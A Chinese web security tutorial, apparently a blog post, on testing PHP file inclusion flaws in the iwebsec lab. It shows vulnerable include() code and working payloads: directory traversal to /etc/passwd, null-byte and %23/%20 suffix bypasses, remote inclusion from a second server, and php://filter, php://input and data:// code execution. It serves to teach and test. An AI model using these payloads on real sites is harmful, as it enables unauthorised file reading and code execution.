Web安全:文件包含漏洞测试.

文件包含的漏洞是  程序员在开发网站的时候,为了方便自己开发构架,使用了一些包含的函数(比如:php开发语言,include() , include_once() , require_once() 等等 ),而且包含函数中的变量,没有做一些过滤或者限制,使得用户可以 控制传到服务器中的数据,导致文件包含漏洞。


目录:

Web安全:文件包含漏洞测试.

文件包含漏洞的执行规则:

文件包含漏洞测试:

(1)本地文件包含.

(2)本地文件包含绕过.

(3)远程文件包含.

(4)远程文件包含绕过.

(5)php // filter 伪协议.

(6)php // input 伪协议.

(7)file:// 伪协议利用.

(8)data:// 伪协议.


文件包含漏洞的执行规则:

文件包含漏洞可以怎么理解,就是一个 A 文件包含着另一个 B 文件,将包含着 B 文件里面的内容,
以这个网站的脚本代码 去执行(如果你的网站是php就是php去执行文件里面的内容,如果你的网站是
python,那就是python去执行文件里面的内容)
测试使用的靶场是:iwebsec 靶场搭建过程:https://tianyuk.blog.csdn.net/article/details/130341391

文件包含漏洞测试:

(1)本地文件包含.

原理:本地文件包含是通过浏览器包含Web服务器上的文件,这种漏洞是因为浏览器包含文件时没有
进行严格的过滤,导致允许遍历目录的字符注入浏览器中,然后进行执行.
代码审计:<?phpif(isset($_GET['filename'])){            // 可以查看没有进行任何过滤$filename  = $_GET['filename'];include($filename);}else{exit();}
?>
测试代码:(读取服务器中的 test.tst 文件,然后成功执行了文件中的代码.)?filename=test.txt

测试代码:(如果不知道,服务器中的文件在哪,则使用../../../../../)(可以多加几个../)
然后再重新从一个文件,一步一步进行查看.?filename=../../../../../etc/passwd


(2)本地文件包含绕过.

代码审计:<?phpif(isset($_GET['filename'])){$filename  = $_GET['filename'];include($filename . ".html");        //可以看见只能使用指定后缀.(.html)}else{exit();}
?>
绕过限制指定后缀的方法:使用(%00)进行截断.
测试代码:?filename=test.txt%00 

测试代码:?filename=../../../../../etc/passwd%00


(3)远程文件包含.

远程文件包含就是通过URL的形式包含的其他服务器上面的文件,从而使目标主机执行恶意代码攻击.
代码审计:<?phpif(isset($_GET['filename'])){$filename  = $_GET['filename'];include($filename);                //可以看见没有任何过滤,可以直接远程包含攻击}else{exit();}
?>
测试代码:(添加另一个服务器的文件链接)?filename=http://192.168.0.105:801/bgxg.txt


(4)远程文件包含绕过.

代码审计:<?phpif(isset($_GET['filename'])){$filename  = $_GET['filename'];include($filename . ".html");         //可以看见只能使用指定后缀.(.html)}else{exit();}
?>
绕过限制指定后缀的方法:(1) # 绕过 (%23)(2) 空格 绕过 (%20)
测试代码:(添加另一个服务器的文件链接)(加 %23 【#】进行绕过限制)?filename=http://192.168.0.105:801/bgxg.txt%23

测试代码:(添加另一个服务器的文件链接)(加 空格 【%20】进行绕过限制)?filename=http://192.168.0.105:801/bgxg.txt%20


(5)php // filter 伪协议.

php://filter 是一种元封装器,是PHP中特有的协议流,设计用于数据流打开时的筛选过滤应用,常用于读取文件.
代码审计:<?phpif(isset($_GET['filename'])){$filename  = $_GET['filename'];include($filename);                    //可以看见没有任何过滤}else{exit();}
?>
测试代码:?filename=php://filter/convert.base64-encode/resource=文件路径


(6)php // input 伪协议.

php//input任意代码执行;这种伪协议用于读取原始的 HTTP POST 数据,可以用于处理上传的文件和表单数据.
代码审计:代码 1: (如果是 GET 方式,php://input 就可以用了)<?phpif(isset($_GET['filename'])){$filename  = $_GET['filename'];include($filename);                    //可以看见没有任何过滤}else{exit();}
?>代码 2:(如果是 POST 方式,php://input 就不能用了)<?phpecho file_get_contents("php://input");
?>
测试代码:?filename=php://input <?php phpinfo(); ?>        //显示服务器信息.


(7)file:// 伪协议利用.

代码审计:<?phpif(isset($_GET['filename'])){$filename  = $_GET['filename'];include($filename);}else{exit();}
?>
测试代码:(?filename=file:///文件路径)?filename=file:///etc/passwd


(8)data:// 伪协议.

主要用于数据流的读取,如果传入的数据是PHP代码,就会执行任意代码.
?filename=data://text/plain;base64,(base64编码后数据)<?php phpinfo();?>         base64编码后       PD9waHAgcGhwaW5mbygpOz8+base64编码 在线工具:https://c.runoob.com/front-end/693/然后再把 +  url编码 变为 %2b

测试代码:?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

Web安全:文件包含漏洞测试(防止 黑客利用此漏洞.)相关推荐

  1. Apache Tomcat 曝文件包含漏洞:攻击者可利用该漏洞读取webapp目录下的任意文件...

    点击上方蓝色"程序猿DD",选择"设为星标" 回复"资源"获取独家整理的学习资料! 作者 | oschina 来源 | https://ww ...

  2. 157 亿美元 !Salesforce 收购 Tableau !微软发布警告,表明黑客利用Office漏洞发动垃圾邮件攻击……...

    关注并标星星CSDN云计算 极客头条:速递.最新.绝对有料.这里有企业新动.这里有业界要闻,打起十二分精神,紧跟fashion你可以的! 每周三次,打卡即read 更快.更全了解泛云圈精彩news g ...

  3. 文件包含中伪协议的利用

    文章目录 伪协议: fillter.file用来读取文件源码 data与php://input协议利用 zip://与phar:// filter绕过死亡die base64绕过 strip_tags ...

  4. Web安全——文件包含漏洞

    一.文件包含漏洞 原理     文件包含漏洞是"代码注入"的一种.其原理就是注入一段用户能控制的脚本或代码,并让服务端执行."代码注入"的典型代表就是文件包含. ...

  5. Web安全—文件包含漏洞(RFILFI)

    文件包含函数(RFI&LFI) ASP和JSP只能实现本地文件包含,PHP既可以本地文件包含也可以远程文件包含 1,文件包含漏洞简介: 在日常的应用开发中,开发者会将常用的功能模块单独实现,然 ...

  6. 西邮ctf2020 web之文件包含解析

    比赛地址:http://39.97.182.97/ 这四道考题都是利用的php伪协议 参考php伪协议,利用文件包含漏洞 第一题:http://watcem.top/wangzhan/27.php 直 ...

  7. WEB安全-文件包含

    一.文件包含的定义 如果说使用文件包含的路径是攻击者可控的话,此时,我们可以通过控制参数变量从而能包含本不在开发者意愿之内的文件. 本地文件包含:包含服务器端的文件 远程文件包含:包含远程url的文件 ...

  8. php截断上传,截断在文件包含和上传中的利用

    截断大概可以在以下情况适用 include(require) file_get_contents file_exists 所有url中参数可以用%00控制 0x01. 本地文件包含1.1 截断类型:p ...

  9. 微软发布警告:黑客利用Office漏洞发动垃圾邮件攻击

    点击上方"民工哥技术之路"选择"置顶或星标" 每天10点为你分享不一样的干货 原文:http://tech.qq.com/a/20190610/001746.h ...

最新文章

  1. Dijkstra 贪心算法 动态规划
  2. 这次不忽悠:3个成功案例告诉你,开一家AI公司其实不难
  3. hive的用户和用户权限
  4. Android环境下通过C框架层控制WIFI【转】
  5. 【VC++】Visual Studio编辑器“智能提示(IntelliSense)”异常的解决方案
  6. linux查看发ftp的ip地址,linux常用命令及学习小结(4)--IP设置、samba、ftp
  7. 实用--HTML的命名规范
  8. java 桥 word_java导出word的6种方式(转发)
  9. 如何在OS X中打开或关闭鼠标定位器
  10. Android getRunningTasks和getRunningAppProcesses失效
  11. ubuntu中wine的安装位置
  12. 前端05.js入门之BOM对象与DOM对象。
  13. Elasticsearch5.X 搜索引擎框架 安装配置及analysis-ik中文分词插件安装
  14. Ember项目引入js依赖
  15. 一文揭开图机器学习的面纱,你确定不来看看吗
  16. 最新Lua网络验证系统+lua代码/PHP后端开发
  17. 天津大学matlab软件许可,天津大学《MATLAB基础和应用》课程教学大纲.PDF
  18. 剑侠世界职业优缺点简介
  19. 华为设备配置链路聚合(手工负载分担模式)
  20. 桌面端如何运行小程序?

热门文章

  1. Pygame:飞机大战3(详细解读)
  2. 脑机接口科普0013——中枢神经与周围神经
  3. 简单的Java web(JSP+Sevlet+Java+mysql)源码分享
  4. 姜洪军:Win8成功与否都难让微软再登“神坛”
  5. NACHI机械臂后台SOCKET通讯
  6. HTML关于border属性的一点小领悟
  7. FPGA uart+sdram+vga传图
  8. springboot上传文件大小限制设置
  9. 【一】、创建虚拟机Linux系统Centos镜像并且配置静态IP
  10. 【Matlab】简易动画,与任意曲线相切的圆的运动轨迹